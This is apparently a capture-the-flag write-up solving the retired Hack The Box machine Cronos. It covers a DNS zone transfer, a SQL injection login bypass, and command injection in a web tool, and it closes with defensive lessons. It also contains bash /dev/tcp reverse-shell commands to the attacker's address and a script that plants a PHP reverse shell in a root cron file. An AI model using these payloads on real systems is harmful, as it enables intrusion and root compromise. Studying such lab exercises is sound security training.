root@kali:~$ cat hackthebox/machines/cronos.md

Hack The Box — Cronos

Cronos reveals an admin virtual host through DNS zone transfer; SQL and command injection yield a shell, then a writable root cron target grants root.

Hack The Box Cronos artwork with a blue armored figure inside an orange clock
Platform
Hack The Box
Type
machine
Difficulty
Medium
Operating system
Linux
Solved
29 Nov 2026
Published
29 November 2026

This write-up documents an authorized Hack The Box lab. Hack The Box lists Cronos as a retired Medium Linux machine. Flag values, session-specific target and VPN addresses, and personal secrets are omitted. Use only the IP addresses assigned to your own lab session.

Executive summary

The IP-based website shows only Apache’s default page. Its DNS server permits a zone transfer that discloses the admin.cronos.htb virtual host. SQL injection in that site’s login form bypasses authentication. The resulting Net Tool passes user-controlled input to a shell command, giving code execution as www-data. Finally, a root cron job runs a Laravel artisan file owned by www-data; changing that file turns the next scheduled run into root code execution.

Target information

Item Value
Target Cronos
Platform Hack The Box
Difficulty Medium
Operating system Linux
Publication policy Retired
Solved 29 November 2026
Main weaknesses DNS zone transfer, SQL injection, OS command injection, lower-privileged ownership of a root-executed file

Start the machine, connect Kali to the HTB VPN, and set the addresses for your session. The target address can change after a reset. tun0 is the Kali VPN interface in this example; verify it before building a reverse shell.

TARGET_IP='<YOUR_HTB_TARGET_IP>'
LHOST=$(ip -4 -o addr show tun0 | awk '{print $4}' | cut -d/ -f1)
printf 'Target: %s\nKali VPN IP: %s\n' "$TARGET_IP" "$LHOST"

Enumeration

Scan all TCP ports and identify services:

nmap "$TARGET_IP" -T5 -sVC -p-

The scan exposed SSH on 22, BIND DNS on 53 and Apache HTTP on 80:

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
53/tcp open  domain  ISC BIND 9.10.3-P4
80/tcp open  http    Apache httpd 2.4.18

Browsing http://<TARGET_IP>/ returned the Apache2 Ubuntu default page. Apache can select a different virtual host from the HTTP Host header, so the default page did not rule out other sites. DNS was the stronger lead because the target itself answered on port 53.

Reverse DNS and zone transfer

Ask the target’s DNS server for its reverse name, then request the cronos.htb zone:

dig -x "$TARGET_IP" @"$TARGET_IP"
dig axfr cronos.htb @"$TARGET_IP"

The PTR record identifies ns1.cronos.htb. The successful AXFR response contains cronos.htb, www.cronos.htb, ns1.cronos.htb and, crucially, admin.cronos.htb:

... IN PTR ns1.cronos.htb.
admin.cronos.htb. ... IN A ...
www.cronos.htb.   ... IN A ...

The zone’s A records may show an older fixed HTB address. Map the discovered names to the current instance IP instead. Check for and remove stale entries if you have solved the box before.

printf '%s cronos.htb www.cronos.htb admin.cronos.htb\n' "$TARGET_IP" | sudo tee -a /etc/hosts
getent hosts admin.cronos.htb

getent should return your current TARGET_IP. Visit http://admin.cronos.htb/; it serves a login form, unlike the IP-based default page.

Initial access

Bypass the admin login with SQL injection

Enter the following value in the username field and any text in the password field:

' or 1=1-- -

The leading quote breaks out of the username string, or 1=1 makes the condition true, and -- - comments out the remainder of the SQL statement, including the password comparison. A successful submission opens Net Tool v0.1. This is an authentication bypass, not a recovered password.

Confirm command injection in Net Tool

Net Tool offers ping and traceroute. Select ping and enter this as the host:

127.0.0.1; id

The semicolon starts a second shell command. Seeing uid=33(www-data) in the response confirms that the host value is interpreted by a shell. The failure is in how the application constructs and executes its command, not in the ping utility itself.

Obtain a www-data shell

In a second Kali terminal, start a listener:

nc -lvnp 4444

Submit the following in Net Tool’s host field, replacing <LHOST> with the tun0 address printed earlier:

127.0.0.1; bash -c 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1'

The listener receives a shell. Verify the identity and locate the user flag without publishing its value:

id
ls -la /home/noulis
cat /home/noulis/user.txt

The shell may report that it has no job control. That is normal for this reverse shell and does not prevent the remaining commands.

Privilege escalation

Inspect system cron jobs and the file they execute:

grep artisan /etc/crontab
ls -l /var/www/laravel/artisan

The relevant entry runs once per minute as root:

* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

The artisan file is owned by www-data and has owner-write permission. In the observed session its mode was -rwxr-xr-x: the file was not world-writable. The exploitable condition is that a lower-privileged account can change PHP code that root executes on a schedule.

Start another Kali listener before changing the file:

nc -lvnp 4445

From the www-data shell, insert a PHP command immediately after the first <?php tag. Replace <LHOST> with your actual Kali VPN address. This Python method writes the owned file in place, so it does not require write access to the containing directory.

python3 - <<'PY'
from pathlib import Path

p = Path('/var/www/laravel/artisan')
s = p.read_text()
payload = """<?php
system("bash -c 'bash -i >& /dev/tcp/<LHOST>/4445 0>&1'");"""
assert '<?php' in s, 'PHP opening tag not found'
p.write_text(s.replace('<?php', payload, 1))
PY

head -n 5 /var/www/laravel/artisan
php -l /var/www/laravel/artisan

The syntax check should report No syntax errors detected. On the next cron run, the listener on port 4445 receives a shell. Confirm root access and read the flag locally:

id
cat /root/root.txt

Once verified, remove the injected line so cron no longer reconnects every minute:

sed -i '/^system("bash -c /d' /var/www/laravel/artisan
php -l /var/www/laravel/artisan

What did not work

The first browser visit to the target IP showed only the default Apache page. It did not expose the admin login because that site is selected by hostname. No exploit against the reported OpenSSH, Apache or BIND versions was needed; the DNS configuration itself disclosed the useful virtual host.

Attack path

  1. Scan the target and notice DNS alongside SSH and HTTP.
  2. Use reverse DNS and AXFR to discover admin.cronos.htb.
  3. Map that hostname to the current instance IP and bypass its login with SQL injection.
  4. Inject a shell command through Net Tool’s host field and obtain a www-data shell.
  5. Identify a root cron job that executes a PHP file owned by www-data.
  6. Add a PHP reverse shell to that file, receive root on the next run, and clean up the injected line.

Lessons learned

  • A default web page at an IP address is not evidence that there are no useful virtual hosts. Query DNS and test discovered hostnames.
  • A zone transfer can reveal an entire host inventory when the DNS server permits AXFR to untrusted clients. Restrict transfers to authorized secondary DNS servers.
  • Parameterized SQL queries prevent the login bypass; strict argument handling and avoiding shell concatenation prevent the Net Tool command injection.
  • A privileged scheduled task must execute files that lower-privileged users cannot modify. Check both the cron entry and the ownership of every file in its execution path.

References